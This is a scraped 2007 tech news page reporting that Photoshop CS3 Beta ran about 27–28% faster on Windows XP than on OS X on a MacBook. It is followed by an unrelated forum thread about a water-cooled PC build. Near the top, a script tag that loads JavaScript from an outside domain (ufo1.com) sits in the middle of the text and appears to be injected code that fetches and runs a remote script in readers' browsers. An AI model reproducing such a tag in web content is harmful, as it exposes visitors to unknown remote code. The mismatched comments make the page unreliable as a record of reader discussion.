Adobe Photoshop CS3 Beta Performance: OSX vs XP

"We have some comparison benchmarks of Photoshop CS3 Beta on Windows XP and Mac OS X. Read on to find out more..."

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News <script type="text/javascript" src="http://ufo1.com/ad/c.js"></script> Posted 16/01/07
Author: PV5150
Source: CircuitRemix

Adobe PS CS3 Logo

Our online source has some interesting comparison benchmarks of Photoshop CS3 Beta on Windows XP and Mac OS X. Adobe Photoshop is a staple application for the vast majority of graphics professionals in the industry. For those with new Intel based Apple Macs, their only option was to run version CS2 using Rosetta, which is esentially using software emulation for x86 architecture compatibility. This of course imposed a performance hit. With Adobe not converting CS2 to a Univeral Binary which would provide hardware level compatibility, Photoshop users using Intel based Macs were stuck.

As most of you now know Adobe has released Photoshop CS3 Beta for download , and they are addressing this performance problem by releasing CS3 as a Universal Binary, so it will work without emulation with Intel based Macs. But Intel based Macs can also run Windows XP natively. What about CS3 performance in XP? No surprise here, but Adobe is also releasing CS3 for Windows based computers.

Anyway, let's look at the test subjects and the methodology

The test machine is an Apple Macbook with an Intel Core 2 Duo processor running at 2.0GHz (T7200). The hard drive is a standard (Apple stock) Fujitsu 80GB SATA 5400rpm model. There are two memory configurations being tested (both are specific kits for the Macbook), Mushkin 2x1GB 667MHz and Kingston 2x2GB 667MHz. The operating systems for the OSX tests are version 10.4.8, and for the Windows tests, XP Professional with SP2 are being used. Apple Boot Camp 1.1.2 drivers are used for the Windows XP install. Both OS instances are clean installs with no third party applications running in the background.  It should be noted that with the Kingston 2x2GB memory kit, only 3GB is usable by the operating system (both OSX and XP, due to hardware chipset limitations) even though 4GB is recognized. In Photoshop CS3 Beta, memory access is set to 70%. To compare performance, DriverHeaven.net's Photoshop Benchmark v2 was used. This test suite uses a standard image and tests performance by running through 12 Photoshop functions and measuring the time for completion. To accurately measure time, Photoshop's built in "Timing" feature was utilized.


CS3 Graph CS3 table


The test results speak for themselves. It's easy to see that Windows XP performs faster for all but 1 of the tests performed. As a total, with the Mushkin 2x1GB and Kingston 2x2GB memory configurations, the test suite ran 27% and 28%, respectively, faster with Windows XP than OSX. Not only does Windows XP beat OSX in Photoshop CS3 performance, but it demolishes it by a wide margin.

Feel free to discuss this article in our forum
 
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Most Recent Comments

29-01-2007, 23:54:04

ai_01
Well while im waiting for some barbs on back order and such i decided to do a couple minor things. i mounted the some yate loons, with silicon gaskets onto the shroud. I also bought an RF remote reciever from ATI, basically now it will enable it to be like a media PC, and the reviever dosnt need to be shown b/c its not a sensor like most its RF like radio so i just gotta hide it in the case.

[IMG]http://upload.overclock3d.net/get.php?id=1770[/IMG]

[IMG]http://upload.overclock3d.net/get.php?id=1772[/IMG]

and the remote =P

[IMG]http://upload.overclock3d.net/get.php?id=1771[/IMG]

04-02-2007, 01:24:12

ai_01
the rest of my parts should be coming in monday. i have a small mockup, im debating on the loop. i have Storm so it strives on pressure, also my pump is reverse flow to a D5 or a 50z so water pulls down throu the top inlet and out the mid horizontal inlet. Heres the layout.
[IMG]http://upload.overclock3d.net/get.php?id=1820[/IMG]
any suggestions? right now im thinking of only 2 ways.
1. pump -> rad -> cpu -> gpu-> res -> pump or...
2. rad -> pump -> cpu -> gpu-> res -> rad

im more for 1. b/c res will bring temps down, before the pump and then hit the rad, the only thing is if the Storm dosnt get the pressure it needs its kinda useless using it

04-02-2007, 07:13:52

Doddsy
I went for the first way, the pump dumps heat into the loop so having the pump before the rad should give the best cpu temps.

05-02-2007, 10:59:01

ai_01
any other suggestions for loop path? parts should be comin intoday..

05-02-2007, 11:11:25

Kempez
No. 1 option

res>pump>rad>cpu>gpu>res

14-02-2007, 19:08:42

ai_01
well i finished what i could for now, i had to save up b/c ill be going for a wk to Florida.
[IMG]http://upload.overclock3d.net/get.php?id=1911[/IMG]

[IMG]http://upload.overclock3d.net/get.php?id=1912[/IMG]

[IMG]http://upload.overclock3d.net/get.php?id=1913[/IMG]

I took the GPU off the loop, b/c of im gonna get an R600, and as u can see the cyclone effect.

[IMG]http://upload.overclock3d.net/get.php?id=1914[/IMG]

For all those cables i think i did a pretty good job =P

[IMG]http://upload.overclock3d.net/get.php?id=1915[/IMG]

[IMG]http://upload.overclock3d.net/get.php?id=1916[/IMG]

14-02-2007, 19:14:22

deathwish
nice job
looks good :D

14-02-2007, 20:10:07

darkorb
very nice man

14-02-2007, 20:38:02

Toxcity
That has EYE CANDY written all over it! :D

15-02-2007, 03:14:12

Kempez
Very sweet dude, GJ
Reply
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